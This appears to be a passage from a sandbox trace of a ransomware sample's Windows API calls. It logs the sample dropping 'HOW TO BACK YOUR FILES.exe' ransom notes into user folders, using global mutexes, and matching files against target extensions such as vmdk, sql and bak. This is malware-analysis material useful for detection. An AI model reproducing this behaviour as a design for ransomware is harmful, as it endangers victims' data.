lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0103.578] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.578] ReleaseMutex (hMutex=0xec) returned 1 [0103.578] CloseHandle (hObject=0xec) returned 1 [0103.578] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\My Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents\\My Music") returned="C:\\Documents and Settings\\Default\\My Documents\\My Music" [0103.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0103.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cbe8 | out: hHeap=0x4f0000) returned 1 [0103.578] lstrlenW (lpString="C:\\Documents and Settings\\Default\\My Documents\\My Music") returned 55 [0103.578] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F910C55C6F9A3D5685308BD630F3259F") returned 0xec [0103.578] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.578] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\My Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents\\My Music") returned="C:\\Documents and Settings\\Default\\My Documents\\My Music" [0103.578] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.578] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.579] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.579] GetLastError () returned 0x0 [0103.579] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.579] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.580] CloseHandle (hObject=0xf4) returned 1 [0103.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.580] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.580] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\My Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.580] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.580] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.580] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.580] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.581] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.581] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.581] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.581] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.581] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0103.581] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0103.581] lstrcpyW (in: lpString1=0x241e8b8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.581] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.581] lstrlenW (lpString="Athena865") returned 9 [0103.581] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.581] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.581] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.581] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.581] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.581] ReleaseMutex (hMutex=0xec) returned 1 [0103.582] CloseHandle (hObject=0xec) returned 1 [0103.582] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\My Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents\\My Pictures") returned="C:\\Documents and Settings\\Default\\My Documents\\My Pictures" [0103.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502528 | out: hHeap=0x4f0000) returned 1 [0103.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cbd0 | out: hHeap=0x4f0000) returned 1 [0103.582] lstrlenW (lpString="C:\\Documents and Settings\\Default\\My Documents\\My Pictures") returned 58 [0103.582] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\AEE71EAC37D29A1D972FA3B88252F8E2") returned 0xec [0103.582] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.582] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\My Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents\\My Pictures") returned="C:\\Documents and Settings\\Default\\My Documents\\My Pictures" [0103.582] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.582] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.582] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.583] GetLastError () returned 0x0 [0103.583] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.583] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.584] CloseHandle (hObject=0xf4) returned 1 [0103.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.584] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\My Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.584] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.584] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.584] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.584] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.584] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.584] lstrcpyW (in: lpString1=0x241e8be, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.584] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.584] lstrlenW (lpString="Athena865") returned 9 [0103.584] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.584] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.584] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.584] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1a3a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.584] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.584] ReleaseMutex (hMutex=0xec) returned 1 [0103.584] CloseHandle (hObject=0xec) returned 1 [0103.585] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\My Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents\\My Videos") returned="C:\\Documents and Settings\\Default\\My Documents\\My Videos" [0103.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5025a8 | out: hHeap=0x4f0000) returned 1 [0103.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52adc8 | out: hHeap=0x4f0000) returned 1 [0103.585] lstrlenW (lpString="C:\\Documents and Settings\\Default\\My Documents\\My Videos") returned 56 [0103.585] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4F899D606BB011216F612D9135DAA66C") returned 0xec [0103.585] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.585] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\My Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\Default\\My Documents\\My Videos") returned="C:\\Documents and Settings\\Default\\My Documents\\My Videos" [0103.585] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.585] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.585] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\my documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.586] GetLastError () returned 0x0 [0103.586] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.586] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.586] CloseHandle (hObject=0xf4) returned 1 [0103.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.587] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.587] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\My Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.587] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.587] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.588] lstrcpyW (in: lpString1=0x241e8ba, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.588] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.588] lstrlenW (lpString="Athena865") returned 9 [0103.588] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.588] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.588] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.588] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1efd00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0103.588] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.588] ReleaseMutex (hMutex=0xec) returned 1 [0103.588] CloseHandle (hObject=0xec) returned 1 [0103.588] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations") returned="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations" [0103.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519998 | out: hHeap=0x4f0000) returned 1 [0103.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc48 | out: hHeap=0x4f0000) returned 1 [0103.588] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations") returned 62 [0103.588] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\39CB0697CD84A765D008375084E5F149") returned 0xec [0103.588] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.588] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations") returned="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations" [0103.589] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.589] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.589] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\recent\\automaticdestinations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.589] GetLastError () returned 0x0 [0103.589] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547d40 [0103.589] ReadFile (in: hFile=0xf4, lpBuffer=0x547d40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547d40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.590] CloseHandle (hObject=0xf4) returned 1 [0103.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547d40 | out: hHeap=0x4f0000) returned 1 [0103.590] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.590] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b63b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.591] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.591] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.591] lstrcpyW (in: lpString1=0x241e8c6, lpString2="1b4dd67f29cb1962.automaticDestinations-ms" | out: lpString1="1b4dd67f29cb1962.automaticDestinations-ms") returned="1b4dd67f29cb1962.automaticDestinations-ms" [0103.591] lstrlenW (lpString="1b4dd67f29cb1962.automaticDestinations-ms") returned 41 [0103.591] lstrlenW (lpString="Athena865") returned 9 [0103.591] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0103.591] lstrlenW (lpString=".dll") returned 4 [0103.591] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".dll") returned 1 [0103.591] lstrlenW (lpString=".lnk") returned 4 [0103.591] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".lnk") returned 1 [0103.591] lstrlenW (lpString=".ini") returned 4 [0103.591] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".ini") returned 1 [0103.591] lstrlenW (lpString=".sys") returned 4 [0103.591] lstrcmpiW (lpString1="1b4dd67f29cb1962.automaticDestinations-ms", lpString2=".sys") returned 1 [0103.591] lstrlenW (lpString="1b4dd67f29cb1962.automaticDestinations-ms") returned 41 [0103.591] lstrlenW (lpString="bak") returned 3 [0103.591] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0103.591] lstrlenW (lpString="ba_") returned 3 [0103.591] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0103.591] lstrlenW (lpString="dbb") returned 3 [0103.591] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0103.591] lstrlenW (lpString="vmdk") returned 4 [0103.591] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0103.591] lstrlenW (lpString="rar") returned 3 [0103.591] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0103.591] lstrlenW (lpString="zip") returned 3 [0103.591] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0103.591] lstrlenW (lpString="tgz") returned 3 [0103.591] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0103.592] lstrlenW (lpString="vbox") returned 4 [0103.592] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0103.592] lstrlenW (lpString="vdi") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0103.592] lstrlenW (lpString="vhd") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0103.592] lstrlenW (lpString="vhdx") returned 4 [0103.592] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0103.592] lstrlenW (lpString="avhd") returned 4 [0103.592] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0103.592] lstrlenW (lpString="db") returned 2 [0103.592] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0103.592] lstrlenW (lpString="db2") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0103.592] lstrlenW (lpString="db3") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0103.592] lstrlenW (lpString="dbf") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0103.592] lstrlenW (lpString="mdf") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0103.592] lstrlenW (lpString="mdb") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0103.592] lstrlenW (lpString="sql") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0103.592] lstrlenW (lpString="sqlite") returned 6 [0103.592] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0103.592] lstrlenW (lpString="sqlite3") returned 7 [0103.592] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0103.592] lstrlenW (lpString="sqlitedb") returned 8 [0103.592] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0103.592] lstrlenW (lpString="xml") returned 3 [0103.592] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0103.592] lstrlenW (lpString="$er") returned 3 [0103.593] lstrcmpiW 